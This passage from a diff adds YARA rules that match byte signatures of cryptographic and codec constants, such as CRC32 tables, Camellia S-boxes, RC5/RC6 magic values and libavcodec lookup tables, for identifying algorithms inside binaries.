07fad6cba3eab1d61bca7ffd7fda18e0cf9b84a61b8be3bba3ab2d90c7bb4a8d7328051d77386200cf18ac2bab08cb361b495770cf59306d7779fe461369995bae5f71660a4f167bb26fd850d67fbf4d663e230bb22e44160a0e8a3d6e1eed20da8da2b0de9dc5ad66bd0b8602ad6c9bb2ecf0dd66fc97c0dedc59ebbacc3ef600a1ee9d54b18980ec9147ab888120b638c0bcf0ecd0dbed54f015c630e072db84733d4b80635a563843947d5c53f360ec126f263802083b8022c610e432a10d59044930fd142e2d4534e0062124871b91651b5d45757c40fd55b26b9945d5762dd69ae629c6fdfb91e633d0f5f654cd45b7c88b91a7af96298761bd4d9706a0f }
+
+condition:
+	$a0
+}
+
+	
+rule Simbin_Race_WTCC_files_encryption_version_2__8_byt_STR_16_
+{
+strings:
+	$a0 = { 71634238315b4f20785f4029706f626b }
+
+condition:
+	$a0
+}
+
+	
+rule RC5_and_RC6_magic_values__0xb7e15163L_0x9e3779b9L___32_lil_AND_
+{
+strings:
+	$a0 = { 6351e1b7[0-20]b979379e }
+
+condition:
+	$a0
+}
+
+	
+rule camellia_sp1110__32_big_1024_
+{
+strings:
+	$a0 = { 70707000828282002c2c2c00ececec00b3b3b30027272700c0c0c000e5e5e500e4e4e400858585005757570035353500eaeaea000c0c0c00aeaeae004141410023232300efefef006b6b6b00939393004545450019191900a5a5a50021212100ededed000e0e0e004f4f4f004e4e4e001d1d1d006565650092929200bdbdbd0086868600b8b8b800afafaf008f8f8f007c7c7c00ebebeb001f1f1f00cecece003e3e3e0030303000dcdcdc005f5f5f005e5e5e00c5c5c5000b0b0b001a1a1a00a6a6a600e1e1e10039393900cacaca00d5d5d500474747005d5d5d003d3d3d00d9d9d900010101005a5a5a00d6d6d60051515100565656006c6c6c004d4d4d008b8b8b000d0d0d009a9a9a0066666600fbfbfb00cccccc00b0b0b0002d2d2d0074747400121212002b2b2b0020202000f0f0f000b1b1b1008484840099999900dfdfdf004c4c4c00cbcbcb00c2c2c200343434007e7e7e0076767600050505006d6d6d00b7b7b700a9a9a90031313100d1d1d1001717170004040400d7d7d70014141400585858003a3a3a0061616100dedede001b1b1b00111111001c1c1c00323232000f0f0f009c9c9c00161616005353530018181800f2f2f20022222200fefefe0044444400cfcfcf00b2b2b200c3c3c300b5b5b5007a7a7a00919191002424240008080800e8e8e800a8a8a80060606000fcfcfc006969690050505000aaaaaa00d0d0d000a0a0a0007d7d7d00a1a1a100898989006262620097979700545454005b5b5b001e1e1e0095959500e0e0e000ffffff0064646400d2d2d20010101000c4c4c4000000000048484800a3a3a300f7f7f70075757500dbdbdb008a8a8a0003030300e6e6e600dadada00090909003f3f3f00dddddd0094949400878787005c5c5c008383830002020200cdcdcd004a4a4a0090909000333333007373730067676700f6f6f600f3f3f3009d9d9d007f7f7f00bfbfbf00e2e2e200525252009b9b9b00d8d8d80026262600c8c8c80037373700c6c6c6003b3b3b0081818100969696006f6f6f004b4b4b0013131300bebebe00636363002e2e2e00e9e9e90079797900a7a7a7008c8c8c009f9f9f006e6e6e00bcbcbc008e8e8e0029292900f5f5f500f9f9f900b6b6b6002f2f2f00fdfdfd00b4b4b400595959007878780098989800060606006a6a6a00e7e7e7004646460071717100bababa00d4d4d40025252500ababab004242420088888800a2a2a2008d8d8d00fafafa007272720007070700b9b9b90055555500f8f8f800eeeeee00acacac000a0a0a0036363600494949002a2a2a00686868003c3c3c0038383800f1f1f100a4a4a4004040400028282800d3d3d3007b7b7b00bbbbbb00c9c9c90043434300c1c1c10015151500e3e3e300adadad00f4f4f40077777700c7c7c700808080009e9e9e00 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x9b64c2b0__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000000dd287540123431b0cf1c44f024686360f9401620365c52d0eb74279048d0c6c095f8b3805ae4f77087cc82306cb8a5a0b190d0e07e8c9410a3a4e15091a18d804c89f8c08395bc305ebdc970b5c9eee068e19ba0a7fddf507ad5aa10d9714b4004593e00cb457af0166d0fb0fd19282020315d60ef2d199032056cd08b27c030560fb5709913f180443b84c0af4fa3507267d610bd7b92e06053e7a0c3f706f01edf73b0d1c337400ceb4200e79f65903ab710d0f5ab5420288321601a864db0c7ae38f008b27c00d59a09403eee2ed0e3c65b902cda1f60f1f26a2052568b708f7efe304062bac09d4acf80763ee810ab169d50640ad9a0b922ace0be2b5b5063032e10ac1f6ae071371fa09a433830476b4d7088770980555f7cc0f6fb9d902bd3e8d0e4cfac2039e7d960d293fef00fbb8bb0c0a7cf401d8fba002f8ad6d0f2a2a3903dbee760e09692200be2b5b0d6cac0f019d68400c4fef140675a1010ba726550756e21a0a84654e0433273709e1a0630510642c08c2e3780350c9b60e824ee202738aad0fa10df901164f800cc4c8d400350c9b0de78bcf07ddc5da0a0f428e06fe86c10b2c0195059b43ec0849c4b804b800f7096a87a30a4ad16e0798563a0b69927506bb1521080c575805ded00c092f144304fd93170ec7dd0203155a560fe49e190236194d0c815b340153dc600da2182f00709f7b0d4326d90091a18d0c6065c201b2e2960f05a0ef02d727bb0e26e3f403f464a009ce2ab5041cade108ed69ae053feefa0b88ac83065a2bd70aabef98077968cc04593e01098bb955057a7d1a08a8fa4e061fb8370bcd3f63073cfb2c0aee7c7800d4326d0d06b53901f771760c25f6220292b45b0f40330f03b1f7400e63701405f15ada0823dd8e04d219c109009e9507b7dcec0a655bb806949ff70b4618a3017c56b60caed1e2005f15ad0d8d92f9033ad0800ee857d40219939b0fcb14cf0ceb42020139c5560dc80119001a864d0eadc434037f43600f8e872f025c007b08664e6e05b4c93a09450d7504978a210a20c85807f24f0c0b038b4306d10c1706a1936c0b7314380782d0770a50572304e7155a0935920e05c456410816d115022c9f000ffe1854030fdc1b0edd5b4f006a19360db89e6201495a2d0c9bdd790fbb8bb402690ce00e98c8af034a4ffb0dfd0d82002f8ad60cde4e99010cc9cd0b3687d806e4008c0a15c4c307c74397097001ee04a286ba085342f50581c5a10e13ef6f03c1683b0f30ac7402e22b200c5569590187ee0d0d762a4200a4ad160a9ee303074c64570bbda018066f274c08d86535050ae26109fb262e0429a17a0709f7b70adb70e3062ab4ac0bf833f8054f7181089df6d5046c329a09beb5ce0384fbdb0e567c8f02a7b8c00f753f9401c27ded0c10fab900e13ef60d33b9a2 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_shape__flt64___64_lil_5120_
+{
+strings:
+	$a0 = { 0000000000e0d43f185c2200000cf7bf30b844000098e3bf30b8440000f8ebbff4d1eefffff1f3bf0000000000a803c0fa68f7ffffe001c0e8a3ddffff53e0bf0000000000b8f63f185c220000ecf93f0c2e11000006f6bff4d1eeffffe9f4bf0000000000a0ddbff4d1eeffff11f6bf0c2e1100006201c00697080000170ac0000000000040c5bf30b844000028e73f0000000000f0e3bf30b8440000b8e33f5f7089000090d1bffa68f7ffff640ac0e8a3ddffff03e43fbfe012010060b63f30b8440000e8e3bf0000000000a0f3bf0c2e110000da0bc0fa68f7ffff3c03c0fa68f7ffff000b400c2e110000d6f23f185c2200005cf3bf000000000080b3bf06970800004b0240f4d1eeffff41febf000000000000000000000000000810c00000000000b8f03fbfe0120100e0cdbff4d1eeffffc1f5bfd047bbffffa7d03fe8a3ddffff83ed3f0c2e1100008ef53fe8a3ddffff93e53f06970800002b0bc0fa68f7ffff1807c00c2e110000da0340000000000038f3bf0c2e1100009206c0e8a3ddffff13ec3f0000000000c0d13f000000000040f1bff4d1eeffffd9f9bf0697080000ab01c000000000005c08c0fa68f7ffff500dc00c2e1100003ef5bf0c2e110000060140000000000058f7bfe8a3ddfffff3e1bf0000000000d0f43f185c220000ace33f30b844000018df3f0c2e1100002ef53f000000000040f3bf06970800004b14c030b8440000e8ea3ffa68f7ffff900dc0185c2200006cf5bf0c2e110000f6f03ff4d1eeffff31f2bf000000000020e03f30b844000058d73f5f70890000d0dabf0c2e1100000a0fc0834b0400801519c0185c22000044f83f0000000000f80240fa68f7ffff6000c0f4d1eeffffd9f3bf185c2200002ce03f30b844000018ed3f000000000000debf0000000000e409c0bfe0120100a0c93f0c2e110000fa0640f4d1eeffff79f3bf000000000088f4bf000000000040ffbf0000000000009ebf0c2e110000220c400000000000e0f4bf30b844000098e63f000000000000e83f0c2e110000eefdbfe8a3ddffff43e33f0c2e110000b604c00000000000000b40e8a3ddffffd3e83f06970800005b00c0f4d1eeffffa1fc3f000000000000fbbf0c2e110000ea0fc0fa68f7ffff1c0ec00000000000a0e53f0c2e1100005a024006970800005b02c0fa68f7ffff4008c00000000000d415c00000000000a80f40834b0400806f20405f7089000010dd3f00000000005c0b40e8a3ddffffd3e33f7db4fbff7f8811c00c2e1100000ef43ffa68f7ffff28024000000000000e1740f4d1eeffffe1fa3ffa68f7ffff1806c0185c220000bce23f185c220000dcf33fbfe0120100e0b6bf834b0400804d11c00000000000280fc0185c2200003cf93f000000000070f6bf185c2200006cefbf7db4fbff7ff812c07db4fbff7f6010c0834b0400805b1940185c2200001cf83f0000000000b8f03f0000000000c0fcbf834b040080d512c00000000000a0f6bffa68f7ffffb80dc006970800007309400c2e110000d6f1bf185c220000b4f3bf0000000000bc0840f4d1eeffff09fabf0000000000f405c00697080000d511c0834b040080bd15c00697080000a705405f7089000070c9bffa68f7ffff400ac0834b0400800e21c0f4d1eeffff91f6bf00000000009816400000000000d8fc3f00000000008c0a40bfe012010060c0bf06970800002f15c0000000000000edbf06970800006b0c4000000000002e1a40f4d1eeffff59f7bf834b040080b114c00000000000480340000000000080be3f0c2e11000056f1bf0000000000c0f43f000000000080fd3f00000000002405c00c2e11000096ffbf0c2e1100002e07c00c2e110000a6f03f30b8440000f8da3f185c22000064f6bf185c220000ccf9bf185c2200003ceb3f30b844000058efbf000000000000b0bf000000000008f0bffa68f7ffffd808c0185c2200001cfa3f185c220000bce8bf0cfa68f7ffff84bf30b8440000d8e13ff4d1eefffff9fdbf185c2200009cecbffa68f7fffffc0840f4d1eeffffe1f33f000000000040f6bf00000000003a12c000000000008009c0fa68f7ffffbc044030b844000008ef3ff4d1eeffff89f1bf0c2e1100008a01c0000000000060d73f185c2200003cee3f0c2e110000a6f7bfa18f76ffffcfcebf834b0400801312c00c2e110000f60440f4d1eefffff1f83ffa68f7ffff8c01c00000000000e0eb3f0000000000b00240bfe012010020c7bf30b844000028ed3fe8a3ddffff83e03fe8a3ddffff83edbf0c2e110000ae0c40185c22000004f5bff4d1eeffff21f4bf000000000020d53f30b844000018d3bfbfe012010060cfbf0c2e11000076f13f30b8440000e8ecbfe8a3ddffffc3ebbff4d1eeffff01f0bf30b844000098df3f000000000050fe3ff4d1eeffff41f3bff4d1eeffff41f13f000000000000b3bf000000000040f43ff4d1eeffff19f63f0000000000d405400c2e1100002ef63f0c2e1100008a0cc0f4d1eeffffd1f7bf0c2e1100003603c006970800004307407db4fbff7ff8114006970800005f01c0d047bbffffc7d53f000000000088fe3f0c2e110000a6064006970800006301c000000000002402c0f4d1eeffff91f0bf0000000000440540185c22000014f4bfa18f76ffff0fc43f30b8440000c8e2bf185c2200003cf63f185c2200004cf0bf000000000098fb3f5f70890000b0d13f000000000020d6bf0697080000b700c05f70890000b0dd3f0000000000740340f4d1eeffff49fd3f000000000040cc3f000000000068f3bf185c2200005cfb3f185c220000dcea3f7dc125020040b5bf7dc1250200c0bd3f0c2e110000d6fabf5f7089000070c03f185c22000084f03fe8a3ddffff53efbff4d1eeffff71f23f0c2e110000aa0cc00000000000e0e2bf834b040080411240000000000000e3bff4d1eeffff59ffbf06970800005d1ac05f7089000070cbbf00000000005c0f4000000000008800c0a18f76ffff8fc63ff4d1eeffff21fdbffa68f7ffff380540000000000050ef3f06970800007702c0185c220000ace3bf185c22000024ffbf06970800003f0e407db4fbff7f7610400c2e110000d6fcbf30b8440000d8debf0c2e1100004e04405f7089000070cabf30b8440000f8e13fe8a3ddffff03e4bf000000000080d93ffa68f7fffff00c40fa68f7ffff0c0040f4d1eeffffd9febf185c22000004f53fe80b2e1100008e3f30b844000078e33f0c2e110000def73ffa824b04008091bf30b844000068e5bf7dc1250200c0bebfe8a3ddffff43e7bf06970800000306405f7089000030d5bf0c2e11000086f4bf185c220000c4f83f0c2e110000de0240fa68f7ffffe801c0000000000060ef3f30b844000098e0bf30b8440000f8d83f411fedfeff1fb0bfd047bbffff67d63f0c2e110000f201407db4fbff7f2c1d400697080000e91440a18f76ffff0fca3f0c2e1100008ef53f30b8440000e8ec3ffa68f7ffffc003c0e8a3ddffff03e2bf0c2e1100005efebffa68f7ffffc00c4000000000008806c0fa68f7ffffbc00405f70890000d0d43f185c2200008ce63f5f7089000050ddbf000000000000843f0c2e1100008ef0bfe8a3ddffff83eabf000000000000fdbf185c22000094fabf000000000048f1bffa824b040080ab3f0000000000b0f03f000000000010f7bf000000000000783f000000000080e8bf000000000058fbbf185c220000fcecbf185c2200008ce4bf185c2200000cebbf000000000020e23f5f7089000070d1bfe8a3ddffffb3ea3f000000000000a63ffa68f7ffffd801c07dc125020040b83fbfe012010060ccbff4d1eeffff19f7bf0c2e1100002ef6bf30b844000008eabfa18f76ffff0fc1bf000000000048f03fbfe012010060b3bf411fedfeff9fb7bf000000000090f2bf185c220000fce93f000000000040e0bff4d1eeffff21f3bf185c22000034f6bfe8a3ddffff63e5bf0000000000e0d33f000000000000bfbff4d1eeffffe9f4bfe8a3ddffffb3e73f7dc1250200c0a33ff4d1eeffff89f7bff4d1eeffffa9fcbfd047bbffff67debfe8a3ddffffe3ed3ff4d1eeffff79f3bf0000000000c004c0d047bbffff67d7bf185c220000dce33f0c2e110000aef6bf0000000000f8f9bf000000000058fdbf185c220000d4fcbfe8a3ddffff93ecbff4d1eeffffc1f6bf185c2200002ce8bf000000000090f5bf30b8440000f8e5bf000000000090e13f0000000000d0ec3f30b8440000a8ecbf000000000080cc3f5f7089000010d63f0000000000b000c05f7089000030cd3f0000000000a000c0e8a3ddffffd3edbfe8a3ddffffc3e73f30b8440000b8e13f7dc1250200c0afbf5f7089000010dfbfd047bbffffe7d3bf185c2200004ce7bf0c2e1100005e09c0d047bbffff47db3fe8a3ddfffff3efbf0000000000e8fdbf0000000000d0f5bf5f7089000010d2bf0c2e1100000ef23fe8a3ddffff63ecbf000000000090f43f0000000000d8f7bf0000000000c0ee3fd047bbffff07d43f30b8440000a8e23fe8a3ddffff93ed3f06970800000b00400c2e110000c60840067db4fbff7f96bf30b8440000b8e23f0000000000e0f03fe8a3ddffffa3e6bf0c2e11000036f13f000000000050efbfe8a3ddffffc3ea3f185c2200007cfb3f0000000000b8f43f06970800009b00400000000000f0f63f000000000000ffbf000000000000e43fbfe012010060b03f000000000010e7bf0c2e11000016f63f000000000000703f000000000020eebf185c220000c4f43ff4d1eeffff71fb3f0c2e110000fef83f000000000080d9bf0c2e110000fef43fe8a3ddffff33ebbf185c220000fce5bf000000000008f73ff4d1eeffff79ff3fbfe0120100a0c83f411fedfeff9fbfbf30b844000048e43f0c2e110000be0040fa824b040080993f06970800009b01c000000000000090bf30b844000098d4bf0c2e1100007efe3f0c2e1100000e06400000000000d405c0000000000040f4bf06970800004b06405f70890000f0d2bf30b844000048e33f185c2200001ce9bf06970800004304c00000000000c0d43fd047bbffff67d0bf000000000048fc3f000000000020f1bf0c2e110000bef3bf185c220000acea3ffa68f7ffffc800400c2e11000066f9bf0c2e110000d6f1bf000000000060d93f0000000000b0f1bffa68f7ffff840640000000000080d03f0c2e110000aef9bf000000000020e53f000000000020ea3f0c2e1100005ef53fe8a3ddffff63e33f185c2200003ce1bff4d1eeffff91f9bf0c2e1100009efabff4d1eeffff81ff3f0000000000c0e93ff4d1eeffff29f7bf30b844000058e2bf000000000090e63ffa824b040080a23f5f70890000b0dc3f185c2200003cef3f30b844000098dc3f30b844000008e0bf000000000080f3bfe8a3ddffff13e9bf30b8440000c8ef3f185c2200000cf73f411fedfeff9fbc3f0000000000f0f0bfe8a3ddffffd3ef3fe80b2e1100007e3f0000000000c0e3bf000000000000babf0000000000c0fbbf30b8440000e8e73fd047bbffff27d23f185c2200004ce73f5f7089000010de3ff4d1eeffff69f4bf185c22000044f2bff4d1eeffff49fc3f000000000040e7bff4d1eeffff11f1bf185c2200004cebbf833edafdff3fa43f0c2e110000a20540000000000060e63ff4d1eeffffa1f1bf30b8440000d8dfbf30b844000018db3f7dc1250200c0ba3f0000000000d8f1bf30b844000098e7bf000000000050eabf000000000000f63f411fedfeff9fbcbf0c2e110000eef33fe8a3ddffffb3e5bf0c2e11000026f53f000000000080cf3f5f70890000f0cd3f0c2e110000bef53fd047bbffff87dfbff4d1eeffffa9f33f185c2200003ce7bf0000000000f0e8bfd047bbffff67d33fe8a3ddffff23ee3f000000000080b2bf185c2200003cf13f0000000000c000c0000000000030e43fe8a3ddffffe3e5bf30b844000078d0bf185c2200006ce33f0c2e11000056f5bfe8a3ddffffd3ed3f000000000000e43ff4d1eeffffc9f03fe8a3ddffff73e7bf0000000000d0fc3f5f7089000010d33f0697080000ef01c0185c220000d4f93ff4d1eeffff51fabf185c2200004ced3f000000000068fc3fe8a3ddffff03e3bf185c2200001cf43ff4d1eeffffa1f33fe8a3ddffffa3e63f185c22000004f8bf06970800007303c05f7089000070d93f30b844000088ec3ff4d1eeffff81f3bf0c2e1100008a0040f4d1eeffffd9ffbf000000000000ea3f000000000080bbbf185c220000b4fa3f5f7089000050df3f185c2200006ce13fd047bbffff67d83f30b8440000e8e93f0c2e1100009efe3f0c2e110000f20740000000000088f83f0000000000f0e13ff4d1eeffffc1ff3f0000000000b0e73f30b844000078d93fbfe0120100e0b83f185c2200009ce23ff4d1eeffff71f33ff4d1eeffff01f43ff4d1eeffffe9f23f0c2e11000016f33f5f7089000010d83f06970800001b07c006970800008b0540000000000000c7bf0c2e110000fef8bf30b844000098e23f185c2200005ce03f185c2200003cfd3f06970800000f0b40f4d1eeffff51f0bf000000000040c23f0c2e11000036f83f0000000000d400405f70890000b0d7bf0c2e1100002ef3bf30b844000058d03ff4d1eeffffa1fe3f000000000098ff3f30b8440000a8e53f833edafdff3fa53f06970800000f01405f7089000070df3f000000000090e3bf30b8440000e8e6bf185c2200009ce5bf000000000018fe3f185c220000ace83f833edafdff3fa3bf000000000020f03f000000000020db3ffa68f7fffff403400c2e110000cef63f7dc125020040b9bf5f7089000070c63fa18f76ffffcfcfbf185c22000084fc3f185c2200000cf93f0c2e110000fef13fe8a3ddffff73ea3f000000000040e43ff4d1eeffffb1f63f0c2e11000086febf411fedfeff9fbc3f0000000000b0e2bf000000000038f2bffa68f7ffff580740f4d1eeffff01fcbfd047bbffff27d93ff4d1eeffffe1fd3f185c22000084f8bf185c22000044fd3f5f70890000f0d2bf067db4fbff7f9a3fa18f76ffffcfc0bff4d1eeffffc9f9bf5f70890000f0d23f30b844000088ef3f000000000090e4bf0000000000c0ff3fbfe0120100e0c83f }
+
+condition:
+	$a0
+}
+
+	
+rule LOKI97_values__64_big_AND_
+{
+strings:
+	$a0 = { 0000000000002911[0-20]0000000000002000[0-20]0000000000000aa7[0-20]0000000000000800[0-20]000000009e3779b9[0-20]000000007f4a7c15 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x76dc4190__32_big_refl_True_
+{
+strings:
+	$a0 = { 0000000004062bac080c57580c0a7cf4031cd86d071af3c10b108f350f16a4990639b0da023f9b760e35e7820a33cc2e052568b70123431b0d293fef092f14430c7361b408754a18047f36ec00791d400f6fb9d90b6992750763ee810365c52d0a4ad16e0e4cfac2024686360640ad9a095609030d5022af015a5e5b055c75f70be2b5b50fe49e1903eee2ed07e8c94108fe6dd80cf8467400f23a8004f4112c0ddb056f09dd2ec305d7523701d1799b0ec7dd020ac1f6ae06cb8a5a02cda1f60791d4010397ffad0f9d83590b9ba8f5048d0c6c008b27c00c815b340887709801a864db05ae4f7709a433830da2182f02b4bcb606b2971a0ab8ebee0ebec04204c11db700c7361b0ccd4aef08cb614307ddc5da03dbee760fd192820bd7b92e02f8ad6d06fe86c10af4fa350ef2d19901e4750005e25eac09e822580dee09f408b27c030cb457af00be2b5b04b800f70baea46e0fa88fc203a2f33607a4d89a0e8bccd90a8de77506879b810281b02d0d9714b409913f18059b43ec019d68400f23a8020b2583ae072fff5a0329d4f60c3f706f08395bc30433273700350c9b091a18d80d1c337401164f800510642c0a06c0b50e00eb19020a97ed060cbc410350c9b60756e21a0b5c9eee0f5ab542004c11db044a3a77084046830c466d2f0569796c016f52c00d652e34096305980675a10102738aad0e79f6590a7fddf509823b6e0d8410c2018e6c360588479a0a9ee3030e98c8af0292b45b06949ff70fbb8bb40bbda01807b7dcec03b1f7400ca753d908a1787504ab048100ad2f2d05f15ada01f771760dfd0d8209fb262e06ed82b702eba91b0ee1d5ef0ae7fe4303c8ea0007cec1ac0bc4bd580fc296f400d4326d04d219c108d865350cde4e9902608edb0666a5770a6cd9830e6af22f017c56b6057a7d1a097001ee0d762a4204593e01005f15ad0c556959085342f50745e66c0343cdc00f49b1340b4f9a980e13ef6f0a15c4c3061fb8370219939b0d0f370209091cae0503605a01054bf6082a5fb50c2c7419002608ed042023410b3687d80f30ac74033ad080073cfb2c0d4326d909450d75054f718101495a2d0e5ffeb40a59d5180653a9ec025582400b7a96030f7cbdaf0376c15b0770eaf708664e6e0c6065c2006a1936046c329a0130476d05366cc1093c10350d3a3b99022c9f00062ab4ac0a20c8580e26e3f40709f7b7030fdc1b0f05a0ef0b038b4304152fda001304760c197882081f532e06a1936c02a7b8c00eadc4340aabef9805bd4b0101bb60ad0db11c5909b737f5009823b6049e081a089474ee0c925f420384fbdb0782d0770b88ac830f8e872f0ad2f2d80ed4d97402dea58006d88e2c09ce2ab50dc8011901c27ded05c456410ceb420208ed69ae04e7155a00e13ef60ff79a6f0bf1b1c307fbcd3703fde69b }
+
+condition:
+	$a0
+}
+
+	
+rule DFC_values__32_big_AND_
+{
+strings:
+	$a0 = { eb64749a[0-20]86d1bf27[0-20]5b9b241d[0-20]b7e15162[0-20]8aed2a6a[0-20]bf715880[0-20]9cf4f3c7[0-20]62e7160f[0-20]38b4da56[0-20]a784d904[0-20]5190cfef[0-20]324e7738[0-20]926cfbe5[0-20]f4bf8d8d[0-20]8c31d763[0-20]da06c80a[0-20]bb1185eb[0-20]4f7c7b57[0-20]57f59584[0-20]90cfd47d[0-20]7c19bb42[0-20]158d9554[0-20]f7b46bce }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_non_uniform_implicit_quantizers__32_lil_128_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000000000000000000000000000000000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000001b0000001d0000001f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule AC3_starting_frequency_coeeficients_bndtab__avcodec___liba52___32_big_120_
+{
+strings:
+	$a0 = { 00000015000000160000001700000018000000190000001a0000001b0000001c0000001f0000002200000025000000280000002b0000002e00000031000000370000003d00000043000000490000004f00000055000000610000006d00000079000000850000009d000000b5000000cd000000e5000000fd }
+
+condition:
+	$a0
+}
+
+	
+rule SSL3__define__32_lil_AND_
+{
+strings:
+	$a0 = { 01000003[0-20]02000003[0-20]03000003[0-20]04000003[0-20]05000003[0-20]06000003[0-20]07000003[0-20]08000003[0-20]09000003[0-20]0a000003[0-20]0b000003[0-20]0c000003[0-20]0d000003[0-20]0e000003[0-20]0f000003[0-20]10000003[0-20]11000003[0-20]12000003[0-20]13000003[0-20]14000003[0-20]15000003[0-20]16000003[0-20]17000003[0-20]18000003[0-20]19000003[0-20]1a000003[0-20]1b000003[0-20]1c000003[0-20]1d000003[0-20]1e000003[0-20]1e000003[0-20]1f000003[0-20]20000003[0-20]21000003[0-20]22000003[0-20]23000003[0-20]24000003[0-20]25000003[0-20]26000003[0-20]27000003[0-20]28000003[0-20]29000003[0-20]2a000003[0-20]2b000003 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_5F2__16_lil_16_
+{
+strings:
+	$a0 = { 0060004800368028601ec8161611d10c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq1__16_lil_256_
+{
+strings:
+	$a0 = { 4701760097036f00ab01b8012f05b900d5013200f8045b007c033b00eb06c100de009e004c047f003b033700d203170399022f00bc0279059e025b0379071804d701d70016047d0085022a013f06a00051022700a304ce01ed025501f005ff01220118038d036a01f1025100570422040702fd003c034703ad021d028d05ea0482018200c20377001e0283019705b9000e023300970404013f03a700c006fe011101b50194047100030390006204ef026b027700ec01fc049202b7025a0767029f01c800fa035800a90253019c0545012b027a001204e5013a0359015e05e7027f01fa03ed036601c002560015054a025502f10040036d022b023d02e0054703 }
+
+condition:
+	$a0
+}
+
+	
+rule Noekeon_Nessie_round__32_lil_68_
+{
+strings:
+	$a0 = { 800000001b000000360000006c000000d8000000ab0000004d0000009a0000002f0000005e000000bc00000063000000c600000097000000350000006a000000d4000000 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_40__dqlntab__16_lil_64_
+{
+strings:
+	$a0 = { 00F8BEFF1C006800A900E00012013E0166018B01AD01CB01E80102021B02360236021B020202E801CB01AD018B0166013E011201E000A90068001C00BEFF00F8 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_CIN_Audio_Video_cinaudio_delta16_table__16_big_512_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000000000000000000000000000000000000000089FE93339BB0A383AABBB162B784BD2CC262C731CBA0CFB6D37AD6F4DA27DD1BDFD4E257E4A7E6C9E8C1EA91EC3DEDC8EF34F084F1B9F2D6F3DDF4CFF5AFF67DF73BF7EAF88CF921F9AAFA29FA9DFB09FB6CFBC8FC1CFC6AFCB1FCF3FD30FD69FD9CFDCCFDF8FE21FE46FE69FE88FEA6FEC1FEDAFEF1FF06FF1AFF2CFF3CFF4BFF5AFF67FF73FF7EFF88FF91FF9AFFA2FFA9FFB0FFB6FFBCFFC2FFC6FFCBFFCFFFD3FFD7FFDAFFDDFFE0FFE2FFE5FFE7FFE9FFEBFFECFFEEFFEFFFF1FFF2FFF3FFF4FFF5FFF6FFF7FFF8FFF9FFFAFFFBFFFCFFFDFFFEFFFF00000000000100020003000400050006000700080009000A000B000C000D000E000F001100120014001500170019001B001E0020002300260029002D00310035003A003E0044004A00500057005E0066006F00780082008D009900A600B500C400D400E600FA010F0126013F015A0178019701BA01DF020802340264029702D0030D034F039603E40438049404F7056305D7065606DF0774081608C509830A510B310C230D2A0E470F7C10CC123813C3156F173F19371B591DA9202C22E525D9290C2C86304A346038CF3D9E42D4487C4E9E55455C7D64506CCD76020000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Electronic_Arts_ADPCM_table__32_big_80_
+{
+strings:
+	$a0 = { 00000000000000F0000001CC000001880000000000000000FFFFFF30FFFFFF240000000000000001000000030000000400000007000000080000000A0000000B00000000FFFFFFFFFFFFFFFDFFFFFFFC }
+
+condition:
+	$a0
+}
+
+	
+rule base64_decoding_table__8_byt_128_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e0000003f3435363738393a3b3c3d00000000000000000102030405060708090a0b0c0d0e0f101112131415161718190000000000001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule BHEncodeTable__8_byt_ASC_64_
+{
+strings:
+	$a0 = { 2122232425262728292a2b2c2d303132333435363839404142434445464748494a4b4c4d4e5051525354555658595a5b6061626364656668696a6b6c6d707172 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pow2_tab__flt64___64_lil_520_
+{
+strings:
+	$a0 = { 000000000000f03f6380773e9a2cf03f768515d3b059f03fc69b75184587f03f1089f96c58b5f03fa1d1d332ece3f03f525b12d00113f13fe12da9ae9a42f13f7c517d3cb872f13f75cb6feb5ba3f13fa8b9683187d4f13fd78c62883b06f23f3a62756e7a38f23fde7ce265456bf23fe3de1ff59d9ef23f0a03e4a685d2f23f15b7310afe06f33fff1664b2083cf33fcba93a37a771f33ff79fe534dba7f33f2234124ca6def33f2a2ef7210a16f43f2c896160084ef43fcf3cc1b5a286f43f292a36d5dabff43fa52c9d76b2f9f43f814f9d562b34f53fda27b536476ff53f2b5448dd07abf53f4a21ad156fe7f53f85553ab07e24f63f242255823862f63fcc3b7f669ea0f63f2f1a653cb2dff63f765fece8751ff73fc9674256eb5ff73f8501eb7314a1f73f634ecf36f3e2f73f14ce4c998925f83feb92449bd968f83fdca02a42e5acf83f36771599aef1f83fe7c5cdb03737f93f504ede9f827df93f8ff0a38291c4f93f66e55d7b660cfa3f5d253eb20355fa3fbdfd79556b9efa3fadd35a999fe8fa3ffd154fb8a233fb3f475efbf2767ffb3fd1c14b901eccfb3f9e5285dd9b19fc3f4ad1572ef167fc3f6890efdc20b7fc3f7d89074a2d07fd3f85a4fbdc1858fd3f8732db03e6a9fd3f5f9b7b3397fcfd3ff83f8be72e50fe3fd890a4a2afa4fe3f255a61ee1bfafe3f3f456e5b7650ff3fd8909e81c1a7ff3f0000000000000040 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo3_correction__32_lil_8188_
+{
+strings:
